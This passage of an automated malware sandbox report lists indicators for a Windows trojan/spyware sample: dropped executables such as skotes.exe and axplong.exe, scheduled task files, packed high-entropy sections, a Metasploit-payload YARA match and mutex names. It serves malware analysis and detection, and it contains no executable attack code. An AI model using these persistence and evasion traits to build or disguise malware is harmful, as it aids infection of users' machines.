Source: 90f56e27b8.exe.6.dr Static PE information: section name: .idata
Source: 90f56e27b8.exe.6.dr Static PE information: section name:
Source: random[1].exe1.6.dr Static PE information: section name:
Source: random[1].exe1.6.dr Static PE information: section name: .idata
Source: de057a4668.exe.6.dr Static PE information: section name:
Source: de057a4668.exe.6.dr Static PE information: section name: .idata
Source: 4264524541.exe.6.dr Static PE information: section name:
Source: 4264524541.exe.6.dr Static PE information: section name: .idata
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr Static PE information: section name:
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr Static PE information: section name: .idata
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: section name:
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: section name: .idata
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: section name:
Source: axplong.exe.12.dr Static PE information: section name:
Source: axplong.exe.12.dr Static PE information: section name: .idata
Source: axplong.exe.12.dr Static PE information: section name:
Source: random[2].exe.20.dr Static PE information: section name:
Source: random[2].exe.20.dr Static PE information: section name: .rsrc
Source: random[2].exe.20.dr Static PE information: section name: .idata
Source: random[2].exe.20.dr Static PE information: section name:
Source: cc1af330ba.exe.20.dr Static PE information: section name:
Source: cc1af330ba.exe.20.dr Static PE information: section name: .rsrc
Source: cc1af330ba.exe.20.dr Static PE information: section name: .idata
Source: cc1af330ba.exe.20.dr Static PE information: section name:
Source: 69f64d774a.exe.20.dr Static PE information: section name:
Source: 69f64d774a.exe.20.dr Static PE information: section name: .idata
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File created: C:\Windows\Tasks\axplong.job
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Code function: 3_2_007A907F 3_2_007A907F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00FCE530 6_2_00FCE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_01002D10 6_2_01002D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_010031A8 6_2_010031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00FC4DE0 6_2_00FC4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_01007049 6_2_01007049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_01008860 6_2_01008860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_010078BB 6_2_010078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_0100779B 6_2_0100779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00FF7F36 6_2_00FF7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00FC4B30 6_2_00FC4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 11_3_019ECBAC 11_3_019ECBAC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 11_3_019ECBDE 11_3_019ECBDE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 11_3_019ECBDB 11_3_019ECBDB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 11_3_019ECBAC 11_3_019ECBAC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 11_3_019ECBDE 11_3_019ECBDE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 11_3_019ECBDB 11_3_019ECBDB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 11_3_019ECBAC 11_3_019ECBAC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 11_3_019ECBDE 11_3_019ECBDE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 11_3_019ECBDB 11_3_019ECBDB
PE file does not import any functions
Source: a55050ee6f.exe.6.dr Static PE information: No import functions for PE file found
Source: random[3].exe.6.dr Static PE information: No import functions for PE file found
Source: 90f56e27b8.exe.6.dr Static PE information: No import functions for PE file found
Source: random[2].exe.6.dr Static PE information: No import functions for PE file found
PE file overlay found
Source: a55050ee6f.exe.6.dr Static PE information: Data appended to the last section found
Source: random[3].exe.6.dr Static PE information: Data appended to the last section found
Source: 90f56e27b8.exe.6.dr Static PE information: Data appended to the last section found
Source: random[2].exe.6.dr Static PE information: Data appended to the last section found
Sample file is different than original file name gathered from version info
Source: file.exe, 00000000.00000003.1680481843.0000000005C46000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675664417.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1665640819.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1665739616.0000000005AAE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666817406.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1665240875.0000000005997000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683672486.0000000005D99000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684730446.0000000005C46000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679957679.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1659722178.0000000005997000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1672386222.00000000058A2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673788571.0000000005C47000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673676031.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666026780.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678556229.0000000005C42000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685764725.0000000005DA7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1670695356.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1686139290.0000000005C50000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675204595.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684264446.0000000005C48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1674707288.0000000005D26000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666163003.0000000005CE1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1670836321.0000000005D05000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678316776.0000000005C48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678415228.0000000005D5D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1672580791.00000000057A5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685953515.0000000005F0E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1659722178.0000000005940000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676339153.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676747967.0000000005D50000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1671478585.0000000005C45000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676483276.0000000005E2F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673519153.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685488173.0000000005C44000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1669219623.0000000005C45000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1674356480.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1674115663.0000000005C42000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1665530262.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1670987890.0000000005C42000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678903942.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675935950.0000000005C48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675000313.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673281492.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1671780416.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668975471.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1669363208.0000000005CF8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1671630387.0000000005D08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666465896.0000000005C48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676888476.0000000005C42000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683822689.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1670588421.0000000005DAD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678048098.0000000005C51000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676198499.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683162352.0000000005D88000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677310012.0000000005C44000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681948919.0000000005C46000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681473351.0000000005C47000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684121781.0000000005EF1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681787750.0000000005EC1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679127250.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1671121736.0000000005CF5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667637172.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683970709.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682573340.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681240650.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673392651.0000000005D12000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667530442.0000000005C44000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1672320963.0000000005812000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666370519.0000000005AA7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1671270766.0000000005DB5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682724357.0000000005D8A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668681371.0000000005CE4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677454391.0000000005D49000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1672148632.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681051869.0000000005C50000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667741368.0000000005C44000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681633145.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667836614.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667930490.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680890344.0000000005E8D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1669768353.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1659722178.00000000058EB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677605911.0000000005C48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673892675.0000000005D18000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685144352.0000000005C43000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685321336.0000000005DA5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679743629.0000000005E74000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1674237600.0000000005D15000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677912197.0000000005E59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1669092019.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1672241787.00000000058EB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668346636.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678190872.0000000005D56000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682420940.0000000005EB4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682861905.0000000005ECE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673195686.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676632104.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677033035.0000000005D38000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683010273.0000000005C48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679535994.0000000005D59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668865446.0000000005D8C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679379176.0000000005C42000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668032434.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1674540807.0000000005C46000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680675816.0000000005D64000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679234585.0000000005D63000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668511599.0000000005C48000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667179870.0000000005CED000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1686322448.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678725497.0000000005D61000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684559608.0000000005EF1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675792112.0000000005E20000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677170137.0000000005E3C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683342309.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666714472.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666565312.0000000005CE0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676068384.0000000005D40000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683496015.0000000005C51000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684414617.0000000005D93000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1670474186.0000000005CF9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682103991.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680144358.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1672472665.0000000001109000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1674828959.0000000005C47000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675533565.0000000005C46000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677763327.0000000005D49000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684949205.0000000005DAE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680329575.0000000005E9E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000012.00000002.2666308747.0000000002200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: file.exe Static PE information: Section: ZLIB complexity 0.998114224137931
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: Section: ZLIB complexity 0.9981852435286104
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: Section: dqejjcio ZLIB complexity 0.9941108464125561
Source: skotes.exe.4.dr Static PE information: Section: ZLIB complexity 0.9981852435286104
Source: skotes.exe.4.dr Static PE information: Section: dqejjcio ZLIB complexity 0.9941108464125561
Source: random[1].exe.6.dr Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: 9de8348ea3.exe.6.dr Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: random[1].exe0.6.dr Static PE information: Section: ZLIB complexity 0.9973124574250681
Source: random[1].exe0.6.dr Static PE information: Section: fzmtnikz ZLIB complexity 0.9946083408543923
Source: 8301009305.exe.6.dr Static PE information: Section: ZLIB complexity 0.9973124574250681
Source: 8301009305.exe.6.dr Static PE information: Section: fzmtnikz ZLIB complexity 0.9946083408543923
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: Section: ZLIB complexity 0.9981852435286104
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: Section: dqejjcio ZLIB complexity 0.9941108464125561
Source: axplong.exe.12.dr Static PE information: Section: ZLIB complexity 0.9973124574250681
Source: axplong.exe.12.dr Static PE information: Section: fzmtnikz ZLIB complexity 0.9946083408543923
Source: random[2].exe.20.dr Static PE information: Section: iuotgoma ZLIB complexity 0.9950269020915429
Source: cc1af330ba.exe.20.dr Static PE information: Section: iuotgoma ZLIB complexity 0.9950269020915429
Source: 69f64d774a.exe.20.dr Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: axplong.exe.12.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 8301009305.exe.6.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.6.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@39/33@19/5
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Code function: 3_2_055915D0 ChangeServiceConfigA, 3_2_055915D0
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.log Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user~1\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Jump to behavior
